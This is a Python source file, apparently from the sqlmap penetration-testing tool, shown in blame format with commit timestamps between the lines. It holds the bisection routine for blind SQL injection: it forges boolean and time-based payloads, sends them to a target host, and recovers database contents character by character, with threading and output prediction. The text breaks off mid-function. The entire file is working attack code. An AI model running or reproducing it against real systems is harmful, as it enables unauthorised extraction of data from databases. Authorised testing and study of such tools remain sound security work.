2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-10-14 18:41:14 +04:00
|
|
|
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
|
|
|
|
import threading
|
|
|
|
import time
|
2008-12-04 20:40:03 +03:00
|
|
|
import traceback
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
from lib.core.agent import agent
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import dataToSessionFile
|
|
|
|
from lib.core.common import dataToStdout
|
2011-01-19 18:25:48 +03:00
|
|
|
from lib.core.common import decodeIntToUnicode
|
2011-01-05 13:25:07 +03:00
|
|
|
from lib.core.common import filterControlChars
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import getCharset
|
2010-05-27 20:45:09 +04:00
|
|
|
from lib.core.common import goGoodSamaritan
|
2010-05-26 13:48:20 +04:00
|
|
|
from lib.core.common import getPartRun
|
2010-10-23 12:05:24 +04:00
|
|
|
from lib.core.common import popValue
|
|
|
|
from lib.core.common import pushValue
|
2010-07-01 18:11:45 +04:00
|
|
|
from lib.core.common import readInput
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.common import replaceNewlineTabs
|
2010-01-15 19:06:59 +03:00
|
|
|
from lib.core.common import safeStringFormat
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2010-06-17 15:38:32 +04:00
|
|
|
from lib.core.data import queries
|
2010-11-08 12:20:02 +03:00
|
|
|
from lib.core.enums import DBMS
|
2010-12-08 16:04:48 +03:00
|
|
|
from lib.core.enums import PAYLOAD
|
2008-12-04 20:40:03 +03:00
|
|
|
from lib.core.exception import sqlmapConnectionException
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.exception import sqlmapValueException
|
2008-12-04 20:40:03 +03:00
|
|
|
from lib.core.exception import sqlmapThreadException
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.progress import ProgressBar
|
2010-12-10 14:32:46 +03:00
|
|
|
from lib.core.settings import CHAR_INFERENCE_MARK
|
2010-12-11 13:52:04 +03:00
|
|
|
from lib.core.settings import INFERENCE_BLANK_BREAK
|
2011-01-17 13:15:19 +03:00
|
|
|
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
|
2011-01-31 18:00:41 +03:00
|
|
|
from lib.core.settings import INFERENCE_GREATER_CHAR
|
|
|
|
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
2011-01-31 19:07:23 +03:00
|
|
|
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.unescaper import unescaper
|
|
|
|
from lib.request.connect import Connect as Request
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
2008-10-15 19:38:22 +04:00
|
|
|
"""
|
|
|
|
Bisection algorithm that can be used to perform blind SQL injection
|
|
|
|
on an affected host
|
|
|
|
"""
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
partialValue = ""
|
2010-05-27 20:45:09 +04:00
|
|
|
finalValue = ""
|
2009-04-22 15:48:07 +04:00
|
|
|
asciiTbl = getCharset(charsetType)
|
2010-12-09 02:52:31 +03:00
|
|
|
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2010-05-27 20:45:09 +04:00
|
|
|
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
|
|
|
|
# samaritan") is used
|
2010-10-17 03:50:13 +04:00
|
|
|
kb.partRun = getPartRun() if conf.predictOutput else None
|
2010-05-26 13:48:20 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if "LENGTH(" in expression or "LEN(" in expression:
|
|
|
|
firstChar = 0
|
2010-05-25 14:09:35 +04:00
|
|
|
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
|
2009-09-26 03:03:45 +04:00
|
|
|
firstChar = int(conf.firstChar) - 1
|
|
|
|
elif firstChar is None:
|
|
|
|
firstChar = 0
|
2010-05-25 14:09:35 +04:00
|
|
|
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
2009-09-26 03:03:45 +04:00
|
|
|
firstChar = int(firstChar) - 1
|
|
|
|
|
|
|
|
if "LENGTH(" in expression or "LEN(" in expression:
|
|
|
|
lastChar = 0
|
2010-05-25 14:09:35 +04:00
|
|
|
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
|
2009-09-26 03:03:45 +04:00
|
|
|
lastChar = int(conf.lastChar)
|
|
|
|
elif lastChar in ( None, "0" ):
|
|
|
|
lastChar = 0
|
2010-05-25 14:09:35 +04:00
|
|
|
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
2009-09-26 03:03:45 +04:00
|
|
|
lastChar = int(lastChar)
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.getDbms():
|
2011-01-18 02:43:37 +03:00
|
|
|
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
|
|
|
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
|
|
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
|
|
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2011-01-18 02:43:37 +03:00
|
|
|
expressionUnescaped = unescaper.unescape(expression)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if length and not isinstance(length, int) and length.isdigit():
|
|
|
|
length = int(length)
|
|
|
|
|
|
|
|
if length == 0:
|
|
|
|
return 0, ""
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
if lastChar > 0 and length > ( lastChar - firstChar ):
|
|
|
|
length = ( lastChar - firstChar )
|
|
|
|
|
|
|
|
showEta = conf.eta and isinstance(length, int)
|
2008-10-15 19:38:22 +04:00
|
|
|
numThreads = min(conf.threads, length)
|
2009-09-26 03:03:45 +04:00
|
|
|
threads = []
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if showEta:
|
|
|
|
progress = ProgressBar(maxValue=length)
|
|
|
|
progressTime = []
|
|
|
|
|
2010-10-14 19:28:54 +04:00
|
|
|
if numThreads > 1:
|
2011-01-16 20:52:42 +03:00
|
|
|
if not timeBasedCompare:
|
|
|
|
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
else:
|
|
|
|
debugMsg = "multi-threading is not considered safe in time-based data retrieval"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
numThreads = 1
|
2010-03-12 17:48:33 +03:00
|
|
|
|
2010-11-08 01:42:56 +03:00
|
|
|
if conf.verbose in (1, 2) and not showEta:
|
2008-10-15 19:38:22 +04:00
|
|
|
if isinstance(length, int) and conf.threads > 1:
|
2010-03-12 15:46:26 +03:00
|
|
|
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
|
2008-10-15 19:38:22 +04:00
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
|
|
else:
|
|
|
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
|
|
|
2010-05-27 20:45:09 +04:00
|
|
|
queriesCount = [0] # As list to deal with nested scoping rules
|
|
|
|
hintlock = threading.Lock()
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
def tryHint(idx):
|
|
|
|
hintlock.acquire()
|
|
|
|
hintValue = kb.hintValue
|
|
|
|
hintlock.release()
|
2010-04-15 14:08:27 +04:00
|
|
|
|
|
|
|
if hintValue is not None and len(hintValue) >= idx:
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
|
2010-04-15 13:36:13 +04:00
|
|
|
posValue = hintValue[idx-1]
|
|
|
|
else:
|
|
|
|
posValue = ord(hintValue[idx-1])
|
|
|
|
|
2011-01-31 18:00:41 +03:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
|
2010-05-27 20:45:09 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
if result:
|
|
|
|
return hintValue[idx-1]
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
hintlock.acquire()
|
|
|
|
kb.hintValue = None
|
|
|
|
hintlock.release()
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
return None
|
|
|
|
|
2011-01-31 19:07:23 +03:00
|
|
|
def validateChar(idx, value):
|
|
|
|
"""
|
2011-01-31 19:14:44 +03:00
|
|
|
used in time based inference (in case that original and retrieved value are not equal there will be deliberate delay)
|
2011-01-31 19:07:23 +03:00
|
|
|
"""
|
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
|
|
|
queriesCount[0] += 1
|
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
|
|
|
|
return not result
|
|
|
|
|
2010-06-17 15:38:32 +04:00
|
|
|
def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None):
|
|
|
|
"""
|
|
|
|
continuousOrder means that distance between each two neighbour's
|
|
|
|
numerical values is exactly 1
|
|
|
|
"""
|
2010-12-10 14:32:46 +03:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
result = tryHint(idx)
|
2010-04-15 14:08:27 +04:00
|
|
|
|
2010-04-15 13:36:13 +04:00
|
|
|
if result:
|
|
|
|
return result
|
|
|
|
|
2010-12-11 13:22:18 +03:00
|
|
|
originalTbl = list(charTbl)
|
|
|
|
|
|
|
|
if continuousOrder:
|
2010-06-17 15:38:32 +04:00
|
|
|
# Used for gradual expanding into unicode charspace
|
|
|
|
shiftTable = [5, 4]
|
2010-05-25 17:06:23 +04:00
|
|
|
|
2010-12-12 00:17:54 +03:00
|
|
|
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
|
|
|
|
charTbl.remove(ord('\n'))
|
|
|
|
|
2010-05-25 17:06:23 +04:00
|
|
|
if len(charTbl) == 1:
|
2011-01-31 18:00:41 +03:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
|
2010-05-27 20:45:09 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-05-25 17:06:23 +04:00
|
|
|
if result:
|
2011-01-19 18:25:48 +03:00
|
|
|
return chr(charTbl[0]) if charTbl[0] < 128 else decodeIntToUnicode(charTbl[0])
|
2011-01-31 19:07:23 +03:00
|
|
|
else:
|
2010-05-25 17:06:23 +04:00
|
|
|
return None
|
|
|
|
|
2010-05-24 02:14:57 +04:00
|
|
|
maxChar = maxValue = charTbl[-1]
|
2010-05-28 14:01:19 +04:00
|
|
|
minChar = minValue = charTbl[0]
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-24 02:14:57 +04:00
|
|
|
while len(charTbl) != 1:
|
2010-05-27 20:45:09 +04:00
|
|
|
position = (len(charTbl) >> 1)
|
|
|
|
posValue = charTbl[position]
|
2010-03-18 20:20:54 +03:00
|
|
|
|
2010-12-10 14:32:46 +03:00
|
|
|
if CHAR_INFERENCE_MARK not in payload:
|
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
|
|
|
|
else:
|
2011-01-24 15:00:16 +03:00
|
|
|
# e.g.: ... > '%c' -> ... > ORD(..)
|
|
|
|
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
|
|
|
unescapedCharValue = unescaper.unescape(markingValue % chr(posValue) if posValue < 128 else decodeIntToUnicode(posValue))
|
|
|
|
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
2010-05-12 15:30:32 +04:00
|
|
|
|
2010-05-27 20:45:09 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
2008-10-16 18:01:14 +04:00
|
|
|
|
2010-05-13 15:17:24 +04:00
|
|
|
if result:
|
|
|
|
minValue = posValue
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-05-24 02:14:57 +04:00
|
|
|
if type(charTbl) != xrange:
|
|
|
|
charTbl = charTbl[position:]
|
2010-06-17 15:38:32 +04:00
|
|
|
else:
|
|
|
|
# xrange() - extended virtual charset used for memory/space optimization
|
2010-05-24 02:14:57 +04:00
|
|
|
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
|
2010-05-13 15:17:24 +04:00
|
|
|
else:
|
|
|
|
maxValue = posValue
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-05-24 02:14:57 +04:00
|
|
|
if type(charTbl) != xrange:
|
|
|
|
charTbl = charTbl[:position]
|
2010-06-02 19:18:33 +04:00
|
|
|
else:
|
2010-05-24 13:28:20 +04:00
|
|
|
charTbl = xrange(charTbl[0], charTbl[position])
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-24 02:14:57 +04:00
|
|
|
if len(charTbl) == 1:
|
2010-05-28 14:50:54 +04:00
|
|
|
if continuousOrder:
|
2010-05-28 14:01:19 +04:00
|
|
|
if maxValue == 1:
|
|
|
|
return None
|
2010-06-17 15:38:32 +04:00
|
|
|
|
|
|
|
# Going beyond the original charset
|
|
|
|
elif minValue == maxChar:
|
|
|
|
# If the original charTbl was [0,..,127] new one
|
|
|
|
# will be [128,..,128*16-1] or from 128 to 2047
|
2010-06-17 17:27:43 +04:00
|
|
|
# and instead of making a HUGE list with all the
|
|
|
|
# elements we use a xrange, which is a virtual
|
2010-06-17 15:38:32 +04:00
|
|
|
# list
|
2010-06-10 19:03:08 +04:00
|
|
|
if expand and shiftTable:
|
2010-06-10 18:52:33 +04:00
|
|
|
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
|
2011-01-17 13:15:19 +03:00
|
|
|
originalTbl = list(charTbl)
|
2010-06-10 18:52:33 +04:00
|
|
|
maxChar = maxValue = charTbl[-1]
|
|
|
|
minChar = minValue = charTbl[0]
|
|
|
|
else:
|
|
|
|
return None
|
2010-05-28 14:01:19 +04:00
|
|
|
else:
|
|
|
|
retVal = minValue + 1
|
2010-12-12 00:17:54 +03:00
|
|
|
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
2011-01-31 19:07:23 +03:00
|
|
|
if timeBasedCompare and not validateChar(idx, retVal):
|
|
|
|
logger.error("invalid character detected. retrying...")
|
|
|
|
return getChar(idx, originalTbl, continuousOrder, expand)
|
|
|
|
else:
|
|
|
|
return chr(retVal) if retVal < 128 else decodeIntToUnicode(retVal)
|
2010-12-11 13:22:18 +03:00
|
|
|
else:
|
|
|
|
return None
|
2010-05-25 17:06:23 +04:00
|
|
|
else:
|
2010-05-28 14:01:19 +04:00
|
|
|
if minValue == maxChar or maxValue == minChar:
|
|
|
|
return None
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-06-17 15:38:32 +04:00
|
|
|
# If we are working with non-continuous elements, set
|
|
|
|
# both minValue and character afterwards are possible
|
|
|
|
# candidates
|
|
|
|
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
|
2011-01-31 18:00:41 +03:00
|
|
|
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
|
2010-05-31 13:41:41 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-05-31 13:41:41 +04:00
|
|
|
if result:
|
2011-01-19 18:25:48 +03:00
|
|
|
return chr(retVal) if retVal < 128 else decodeIntToUnicode(retVal)
|
2010-05-31 19:05:29 +04:00
|
|
|
|
2010-05-31 13:41:41 +04:00
|
|
|
return None
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def etaProgressUpdate(charTime, index):
|
|
|
|
if len(progressTime) <= ( (length * 3) / 100 ):
|
|
|
|
eta = 0
|
|
|
|
else:
|
|
|
|
midTime = sum(progressTime) / len(progressTime)
|
|
|
|
midTimeWithLatest = (midTime + charTime) / 2
|
|
|
|
eta = midTimeWithLatest * (length - index) / conf.threads
|
|
|
|
|
|
|
|
progressTime.append(charTime)
|
|
|
|
progress.update(index)
|
|
|
|
progress.draw(eta)
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2010-06-17 15:38:32 +04:00
|
|
|
# Go multi-threading (--threads > 1)
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
2009-09-26 03:03:45 +04:00
|
|
|
value = [ None ] * length
|
|
|
|
index = [ firstChar ] # As list for python nested function scoping
|
2008-10-15 19:38:22 +04:00
|
|
|
idxlock = threading.Lock()
|
|
|
|
iolock = threading.Lock()
|
2010-05-11 15:06:21 +04:00
|
|
|
valuelock = threading.Lock()
|
2010-12-20 21:56:06 +03:00
|
|
|
kb.threadContinue = True
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def downloadThread():
|
2009-05-20 13:34:13 +04:00
|
|
|
try:
|
2010-12-20 21:56:06 +03:00
|
|
|
while kb.threadContinue:
|
2009-05-20 13:34:13 +04:00
|
|
|
idxlock.acquire()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-05-20 13:34:13 +04:00
|
|
|
if index[0] >= length:
|
|
|
|
idxlock.release()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-05-20 13:34:13 +04:00
|
|
|
return
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-05-20 13:34:13 +04:00
|
|
|
index[0] += 1
|
|
|
|
curidx = index[0]
|
|
|
|
idxlock.release()
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-12-20 21:56:06 +03:00
|
|
|
if kb.threadContinue:
|
2010-03-11 14:14:20 +03:00
|
|
|
charStart = time.time()
|
2010-05-27 20:45:09 +04:00
|
|
|
val = getChar(curidx)
|
2010-03-11 14:14:20 +03:00
|
|
|
if val is None:
|
2011-01-17 13:15:19 +03:00
|
|
|
val = INFERENCE_UNKNOWN_CHAR
|
2010-03-11 14:14:20 +03:00
|
|
|
else:
|
|
|
|
break
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-11 15:06:21 +04:00
|
|
|
valuelock.acquire()
|
2009-05-20 13:34:13 +04:00
|
|
|
value[curidx-1] = val
|
2010-05-11 15:06:21 +04:00
|
|
|
currentValue = list(value)
|
|
|
|
valuelock.release()
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2010-12-20 21:56:06 +03:00
|
|
|
if kb.threadContinue:
|
2010-03-11 14:14:20 +03:00
|
|
|
if showEta:
|
|
|
|
etaProgressUpdate(time.time() - charStart, index[0])
|
|
|
|
elif conf.verbose >= 1:
|
2010-03-12 15:38:19 +03:00
|
|
|
startCharIndex = 0
|
|
|
|
endCharIndex = 0
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2010-03-12 15:38:19 +03:00
|
|
|
for i in xrange(length):
|
2010-05-11 15:06:21 +04:00
|
|
|
if currentValue[i] is not None:
|
2010-03-12 15:38:19 +03:00
|
|
|
endCharIndex = max(endCharIndex, i)
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2010-03-12 15:38:19 +03:00
|
|
|
output = ''
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2010-03-12 15:46:26 +03:00
|
|
|
if endCharIndex > conf.progressWidth:
|
|
|
|
startCharIndex = endCharIndex - conf.progressWidth
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2010-03-12 15:38:19 +03:00
|
|
|
count = 0
|
2010-03-25 19:26:50 +03:00
|
|
|
|
2010-05-11 15:06:21 +04:00
|
|
|
for i in xrange(startCharIndex, endCharIndex + 1):
|
|
|
|
output += '_' if currentValue[i] is None else currentValue[i]
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2010-03-12 15:38:19 +03:00
|
|
|
for i in xrange(length):
|
2010-05-11 15:06:21 +04:00
|
|
|
count += 1 if currentValue[i] is not None else 0
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2010-03-12 15:38:19 +03:00
|
|
|
if startCharIndex > 0:
|
2010-03-12 17:31:14 +03:00
|
|
|
output = '..' + output[2:]
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2010-04-19 19:25:52 +04:00
|
|
|
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
|
2010-03-12 17:31:14 +03:00
|
|
|
output = output[:-2] + '..'
|
2010-03-22 20:38:19 +03:00
|
|
|
|
2011-01-12 00:46:21 +03:00
|
|
|
if conf.verbose in (1, 2) and not showEta:
|
|
|
|
output += '_' * (min(length, conf.progressWidth) - len(output))
|
|
|
|
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
|
|
|
|
output += status if count != length else " "*len(status)
|
|
|
|
|
|
|
|
iolock.acquire()
|
|
|
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
|
|
|
|
iolock.release()
|
2008-12-04 20:40:03 +03:00
|
|
|
|
2010-12-20 21:56:06 +03:00
|
|
|
if not kb.threadContinue:
|
2010-07-19 12:37:45 +04:00
|
|
|
if int(threading.currentThread().getName()) == numThreads - 1:
|
|
|
|
partialValue = unicode()
|
|
|
|
for v in value:
|
2010-07-19 13:06:19 +04:00
|
|
|
if v is None:
|
|
|
|
break
|
|
|
|
elif isinstance(v, basestring):
|
2010-07-19 12:37:45 +04:00
|
|
|
partialValue += v
|
|
|
|
|
|
|
|
if len(partialValue) > 0:
|
|
|
|
dataToSessionFile(replaceNewlineTabs(partialValue))
|
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
2010-03-25 19:26:50 +03:00
|
|
|
print
|
2010-12-21 17:21:24 +03:00
|
|
|
kb.threadException = True
|
2008-12-04 20:40:03 +03:00
|
|
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
2010-12-21 17:21:24 +03:00
|
|
|
kb.threadException = True
|
2008-12-04 20:40:03 +03:00
|
|
|
|
|
|
|
print
|
|
|
|
logger.debug("waiting for threads to finish")
|
|
|
|
|
|
|
|
try:
|
|
|
|
while (threading.activeCount() > 1):
|
|
|
|
pass
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
raise sqlmapThreadException, "user aborted"
|
|
|
|
|
|
|
|
except:
|
2010-03-25 19:26:50 +03:00
|
|
|
print
|
2010-12-21 17:21:24 +03:00
|
|
|
kb.threadException = True
|
2008-12-04 20:40:03 +03:00
|
|
|
errMsg = unhandledException()
|
|
|
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
|
|
|
traceback.print_exc()
|
2010-02-04 20:45:56 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
# Start the threads
|
2008-12-04 20:40:03 +03:00
|
|
|
for numThread in range(numThreads):
|
2010-07-19 12:37:45 +04:00
|
|
|
thread = threading.Thread(target=downloadThread, name=str(numThread))
|
2008-10-15 19:38:22 +04:00
|
|
|
thread.start()
|
|
|
|
threads.append(thread)
|
|
|
|
|
|
|
|
# And wait for them to all finish
|
2010-03-11 14:14:20 +03:00
|
|
|
try:
|
|
|
|
alive = True
|
|
|
|
while alive:
|
|
|
|
alive = False
|
|
|
|
for thread in threads:
|
|
|
|
if thread.isAlive():
|
|
|
|
alive = True
|
|
|
|
thread.join(5)
|
|
|
|
except KeyboardInterrupt:
|
2010-12-20 21:56:06 +03:00
|
|
|
kb.threadContinue = False
|
2010-03-11 14:14:20 +03:00
|
|
|
raise
|
2010-03-11 14:20:52 +03:00
|
|
|
|
2010-04-29 12:30:29 +04:00
|
|
|
infoMsg = None
|
2010-05-27 20:45:09 +04:00
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
# If we have got one single character not correctly fetched it
|
|
|
|
# can mean that the connection to the target url was lost
|
|
|
|
if None in value:
|
|
|
|
for v in value:
|
2010-05-25 14:09:35 +04:00
|
|
|
if isinstance(v, basestring) and v is not None:
|
2008-12-04 20:40:03 +03:00
|
|
|
partialValue += v
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-04 20:40:03 +03:00
|
|
|
if partialValue:
|
|
|
|
finalValue = partialValue
|
2011-01-05 13:25:07 +03:00
|
|
|
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
2008-12-04 20:40:03 +03:00
|
|
|
else:
|
|
|
|
finalValue = "".join(value)
|
2011-01-05 13:25:07 +03:00
|
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-05-25 14:09:35 +04:00
|
|
|
if isinstance(finalValue, basestring) and len(finalValue) > 0:
|
2008-12-04 20:40:03 +03:00
|
|
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-11-08 01:42:56 +03:00
|
|
|
if conf.verbose in (1, 2) and not showEta and infoMsg:
|
2008-12-04 20:40:03 +03:00
|
|
|
dataToStdout(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-06-17 15:38:32 +04:00
|
|
|
# No multi-threading (--threads = 1)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-09-26 03:03:45 +04:00
|
|
|
index = firstChar
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
while True:
|
2010-05-27 20:45:09 +04:00
|
|
|
index += 1
|
2008-10-15 19:38:22 +04:00
|
|
|
charStart = time.time()
|
2010-05-21 13:35:36 +04:00
|
|
|
|
2010-05-27 20:45:09 +04:00
|
|
|
# Common prediction feature (a.k.a. "good samaritan")
|
|
|
|
# NOTE: to be used only when multi-threading is not set for
|
|
|
|
# the moment
|
2010-10-17 03:50:13 +04:00
|
|
|
if conf.predictOutput and len(finalValue) > 0 and kb.partRun is not None:
|
2010-05-25 18:51:02 +04:00
|
|
|
val = None
|
2010-06-21 18:40:12 +04:00
|
|
|
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(finalValue, asciiTbl)
|
|
|
|
|
|
|
|
# Debug print
|
|
|
|
#print "\ncommonValue, commonPattern, commonCharset:", commonValue, commonPattern, commonCharset
|
2010-05-25 18:51:02 +04:00
|
|
|
|
2010-05-31 19:05:29 +04:00
|
|
|
# If there is one single output in common-outputs, check
|
|
|
|
# it via equal against the query output
|
2010-06-21 18:40:12 +04:00
|
|
|
if commonValue is not None:
|
|
|
|
# One-shot query containing equals commonValue
|
|
|
|
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
|
2010-10-25 18:11:47 +04:00
|
|
|
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
|
2010-11-18 01:00:09 +03:00
|
|
|
query = agent.suffixQuery(query)
|
2010-05-27 20:45:09 +04:00
|
|
|
queriesCount[0] += 1
|
2010-12-24 21:40:48 +03:00
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
2010-05-27 20:45:09 +04:00
|
|
|
|
|
|
|
# Did we have luck?
|
2010-05-26 13:48:20 +04:00
|
|
|
if result:
|
2010-06-21 18:40:12 +04:00
|
|
|
dataToSessionFile(replaceNewlineTabs(commonValue[index-1:]))
|
2010-05-27 20:45:09 +04:00
|
|
|
|
2010-05-26 14:41:37 +04:00
|
|
|
if showEta:
|
2010-06-21 18:40:12 +04:00
|
|
|
